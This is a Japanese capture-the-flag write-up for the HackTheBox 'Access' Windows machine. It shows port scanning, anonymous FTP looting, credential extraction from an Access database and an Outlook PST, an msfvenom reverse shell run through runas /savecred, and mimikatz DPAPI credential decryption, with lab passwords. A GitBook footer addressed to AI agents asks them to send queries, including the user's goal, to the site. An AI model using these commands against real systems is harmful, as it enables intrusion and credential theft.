> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Access HackTheBox 攻略記事 {% embed url="" %} {% hint style="warning" %} **スキル:** * FTP列挙 * Microsoft Accessデータベースの抽出 * PSTの解析、Windowsに保存された資格情報 * DPAPI。 {% endhint %} ## 偵察ワークスペースを作成し、ターゲットに到達可能であることを確認します。 {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} ターゲットはWindowsホストです。

TCPポートのフルスキャンを実行します。 {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}

スキャンにより、ポート上でFTP、Telnet、HTTPが検出されます `21`, `23`、および `80`。それぞれのサービスバージョンを列挙します。 {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}

匿名FTPアクセスが有効です。 {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} FTPサーバーには `Backups` および `Engineer` ディレクトリがあります。

ダウンロード `backup.mdb` から `Backups` バイナリモードで。ダウンロード `Access Control.zip` から `Engineer`.

Microsoft Accessデータベース内のテーブルを一覧表示します。 {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}

確認のため、すべてのテーブルをCSVにエクスポートします。 {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}

その `auth_user.csv` エクスポートには資格情報が含まれています。 {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}

次を使用します `engineer` アーカイブを展開するためのパスワード。 {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} アーカイブにはOutlookのPSTファイルが含まれています。 > Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

PSTメッセージを抽出します。 {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} これにより `.eml` メッセージが作成されます。

このメールで `security` アカウントのパスワードが明らかになります。 {% code overflow="wrap" %} ```bash こんにちは、 “security”アカウントのパスワードは4Cc3ssC0ntr0llerに変更されました。これを必ずエンジニアに伝えてください。よろしく、 John ``` {% endcode %}

Telnetに `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller

取得する `user.txt`.

### 保存された資格情報による権限昇格 Windowsに保存されている資格情報を一覧表示します。 {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}

保存された `ACCESS\Administrator` 資格情報は `runas /savecred`を使ってプロセスを実行できます。逆シェルのペイロードを作成します。 {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} 転送 `nikos.exe` をターゲットへ送ります。次に、ポートでリスナーを起動します `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} ペイロードを `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} コールバックはAdministratorとして実行されます。

取得する `root.txt`.

### 保存された管理者資格情報の復元保存された資格情報はDPAPIで保護されています。その秘密を `security` プロファイルから復元します。 #### 資格情報ブロブを見つけるブロブは `security` プロファイル内にあります。使用します `/a` ファイルが隠し属性だからです。 {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`

正しいブロブは `51AB168BE4BDB3A603DADE4F8CA81290`。その `08/22/2018` タイムスタンプはPublic Desktopの `.lnk` ファイルと一致します。もう一方のブロブは評価中に作成されたものです。 #### マスターキーのGUIDを特定するブロブを調べて、必要なDPAPIマスターキーを特定します。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} マスターキーのGUIDに注意してください。 * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

#### LSASSでマスターキーを確認する LSASSに読み込まれているDPAPIマスターキーをダンプします。 {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} 必要なGUID `{0792c32e-...}` は存在しません。これは次の理由によります: * マスターキーは `security` プロファイルから復元します。 * 現在のセッションは `管理者`. * その `security` として実行されており、このコンテキストではマスターキーは読み込まれていません。ダンプには `管理者` および `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrator GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### ディスクからマスターキーを復号する既知の情報を使って、ディスクからマスターキーを直接復号します。 `security` パスワード。まず、マスターキーファイルを見つけます。 {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} その `security` SIDは `-1001`で終わります。AdministratorのSIDは `-500`. {% endhint %} Mimikatzでマスターキーを復号します。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} マスターキーのSHA-1は `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

#### 資格情報ブロブを復号するマスターキーのSHA-1を使って資格情報ブロブを復号し、保存されたパスワードを復元します。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.